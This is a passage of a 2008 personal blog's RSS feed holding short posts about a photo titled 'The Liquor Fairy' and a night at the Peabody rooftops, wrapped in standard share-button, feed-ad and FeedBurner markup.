			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/superior-bar/" type="box_count"></fb:share-button><p><a title="photo sharing" href="http://www.flickr.com/photos/otto42/2701541383/"><img style="border: solid 2px #000000;" src="http://farm4.static.flickr.com/3031/2701541383_9248197234.jpg" alt="" /></a></p>
<p><span style="font-size: 0.8em; margin-top: 0px;"><a href="http://www.flickr.com/photos/otto42/2701541383/">Multimedia message</a>, originally uploaded by <a href="http://www.flickr.com/people/otto42/">Otto42</a>.</span><br />
The Liquor Fairy</p>

<p><a href="http://feedads.g.doubleclick.net/~a/EdKQqKhLsvPtuqYtslF1jn7gMrM/0/da"><img src="http://feedads.g.doubleclick.net/~a/EdKQqKhLsvPtuqYtslF1jn7gMrM/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/EdKQqKhLsvPtuqYtslF1jn7gMrM/1/da"><img src="http://feedads.g.doubleclick.net/~a/EdKQqKhLsvPtuqYtslF1jn7gMrM/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=X5IVSKSiPiQ:nh6XNIJA9Ks:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=X5IVSKSiPiQ:nh6XNIJA9Ks:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=X5IVSKSiPiQ:nh6XNIJA9Ks:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=X5IVSKSiPiQ:nh6XNIJA9Ks:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=X5IVSKSiPiQ:nh6XNIJA9Ks:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=X5IVSKSiPiQ:nh6XNIJA9Ks:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=X5IVSKSiPiQ:nh6XNIJA9Ks:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/X5IVSKSiPiQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/superior-bar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<georss:point>35.1392860 -90.0502853</georss:point>
		<media:thumbnail url="http://farm4.static.flickr.com/3031/2701541383_9248197234.jpg" />
		<media:content url="http://farm4.static.flickr.com/3031/2701541383_9248197234.jpg" medium="image" />
	<feedburner:origLink>http://ottodestruct.com/blog/2008/superior-bar/</feedburner:origLink></item>
		<item>
		<title>The Liquor Fairy is coming to …</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/OkSwsCcYSg4/</link>
		<comments>http://ottodestruct.com/blog/2008/the-liquor-fairy-is-coming-to/#comments</comments>
		<pubDate>Fri, 25 Jul 2008 18:36:55 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[tweets]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2008/07/25/the-liquor-fairy-is-coming-to/</guid>
		<description>The Liquor Fairy is coming to town&amp;#8230;</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/the-liquor-fairy-is-coming-to/" type="box_count"></fb:share-button><p>The Liquor Fairy is coming to town&#8230;</p>

<p><a href="http://feedads.g.doubleclick.net/~a/yusBz1J99Z3SYgK5dV-7O6S4YoQ/0/da"><img src="http://feedads.g.doubleclick.net/~a/yusBz1J99Z3SYgK5dV-7O6S4YoQ/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/yusBz1J99Z3SYgK5dV-7O6S4YoQ/1/da"><img src="http://feedads.g.doubleclick.net/~a/yusBz1J99Z3SYgK5dV-7O6S4YoQ/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=OkSwsCcYSg4:nlIh_dp54Oo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=OkSwsCcYSg4:nlIh_dp54Oo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=OkSwsCcYSg4:nlIh_dp54Oo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=OkSwsCcYSg4:nlIh_dp54Oo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=OkSwsCcYSg4:nlIh_dp54Oo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=OkSwsCcYSg4:nlIh_dp54Oo:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=OkSwsCcYSg4:nlIh_dp54Oo:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/OkSwsCcYSg4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/the-liquor-fairy-is-coming-to/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	<feedburner:origLink>http://ottodestruct.com/blog/2008/the-liquor-fairy-is-coming-to/</feedburner:origLink></item>
		<item>
		<title>Just got back from the Peabody…</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/R-JVrKY7XWM/</link>
		<comments>http://ottodestruct.com/blog/2008/just-got-back-from-the-peabody/#comments</comments>
		<pubDate>Fri, 25 Jul 2008 04:26:31 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[tweets]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2008/07/24/just-got-back-from-the-peabody/</guid>
		<description>Just got back from the Peabody rooftops&amp;#8230; Band = not that great. Hot singer though, can&amp;#8217;t argue with that.</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/just-got-back-from-the-peabody/" type="box_count"></fb:share-button><p>Just got back from the Peabody rooftops&#8230; Band = not that great. Hot singer though, can&#8217;t argue with that.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/x7rcipxw3hVUN9d30mvqKIqE_qg/0/da"><img src="http://feedads.g.doubleclick.net/~a/x7rcipxw3hVUN9d30mvqKIqE_qg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/x7rcipxw3hVUN9d30mvqKIqE_qg/1/da"><img src="http://feedads.g.doubleclick.net/~a/x7rcipxw3hVUN9d30mvqKIqE_qg/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=R-JVrKY7XWM:mGjX1kcg5GU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=R-JVrKY7XWM:mGjX1kcg5GU:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=R-JVrKY7XWM:mGjX1kcg5GU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=R-JVrKY7XWM:mGjX1kcg5GU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=R-JVrKY7XWM:mGjX1kcg5GU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=R-JVrKY7XWM:mGjX1kcg5GU:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=R-JVrKY7XWM:mGjX1kcg5GU:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/R-JVrKY7XWM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/just-got-back-from-the-peabody/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	<feedburner:origLink>http://ottodestruct.com/blog/2008/just-got-back-from-the-peabody/</feedburner:origLink></item>
	</channel>
</rss><!-- Dynamic page generated in 3.872 seconds. --><!-- Cached page generated by WP-Super-Cache on 2010-02-08 10:29:36 --><!-- Compression = gzip -->
